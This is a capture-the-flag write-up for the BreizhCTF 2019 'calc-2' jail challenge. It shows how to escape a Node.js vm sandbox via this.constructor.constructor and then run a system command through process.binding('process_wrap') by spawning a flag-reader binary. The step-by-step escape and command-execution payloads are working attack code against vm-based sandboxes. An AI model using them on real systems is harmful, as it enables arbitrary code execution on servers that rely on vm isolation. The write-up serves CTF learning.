BreizhCTF 2019 - calc-2


Solves: 0 / Points: 400 / Category: Jail

Challenge description

See challenge source code

The sandbox is implemented using Node.js vm module. Inside of it, we could only use the log() function.

Challenge resolution

Our goal is to execute a system command to obtain the flag.

Step one: Escape from the vm

To escape from the vm we will use a constructor of constructor to create an anonymous function with controlled body.

This is a simple example using Firefox JS console:

>> this.constructor.constructor("alert(1)")
function anonymous()
>> this.constructor.constructor("alert(1)").toString()
"function anonymous(
) {

Using this technique we can execute code outside the vm context. Indeed, the this object, when it is returned by calling constructor, is not restricted to log function:

>> log(this.constructor.constructor('return this')());
[Function: anonymous]
Object [global] {
  global: [Circular],
   process {
     title: 'nodejs',
     version: 'v10.15.2',
   { [Function: setImmediate] [Symbol(util.promisify.custom)]: [Function] },
  setInterval: [Function: setInterval],
   { [Function: setTimeout] [Symbol(util.promisify.custom)]: [Function] } }

Comparing to the vm context:

> log(this);
{ log: [Function] }

Step two: Execute a shell command

The process.mainModule of the script was cleaned so we didn’t have access to the require function:

/* remove mainModule for better security */
process.mainModule = {};

However, we identified that the binding function is available on the object returned by the constructor:

> log(this.proc = this.constructor.constructor('return this.process')());

binding: [Function: binding]

The binding function allows loading internal modules. Firstly, we tried to read the flag from the file using the fs module:

> log(this.constructor.constructor('return this.process.binding')()('fs')

Fail :(

But we were able to list directories and identify the flag location:

> log(this.constructor.constructor('return this.process.binding')()('fs').readdir('/home/guest', {}, "","", function (err, data) {data}));

After a tip from the challenge author:

you don’t have child_process and its exec function, so write it

So let’s read nodejs source code on Github for child_process:

The outcome is that the child_process uses an internal binding of process_wrap to execute commands by calling the spawn function:

const { Process } = internalBinding('process_wrap');

    file: opts.file,
    args: opts.args,
    cwd: options.cwd,
    windowsHide: !!options.windowsHide,
    windowsVerbatimArguments: !!options.windowsVerbatimArguments,
    detached: !!options.detached,
    envPairs: opts.envPairs,
    stdio: options.stdio,
    uid: options.uid,
    gid: options.gid

Hence, we have to create a Process object and call its spawn function to execute system commands:

1 - Check if the binding doesn’t fail:

> log(this.constructor.constructor('return this.process.binding')()('process_wrap'));
{ Process: [Function: Process] }

2 - Instantiate a Process object:

> log(this.proc_wrap = this.constructor.constructor('return this.process.binding')());
> log(this.Process = this.proc_wrap('process_wrap').Process);
> log(this.process = new Process());

3 - Call the spawn function with the good parameters:

> log(this.env = this.constructor.constructor('return this.process.env')());
> log(this.mproc  = this.constructor.constructor('return this.process')());
> log(this.sot = this.constructor.constructor('return this.process.stdout')());
> log(this.sin = this.constructor.constructor('return this.process.stdin')());
> log(this.rc = process.spawn({file:'/home/guest/flag_reader',args:[],cwd:"/home/guest",windowsVerbatimArguments:false,detached:false,envPairs:this.env, stdio:[mproc.stdin, mproc.stdout, mproc.stderr]}));



Author: dabi0ne @dabi0ne

Post date: 2019-04-14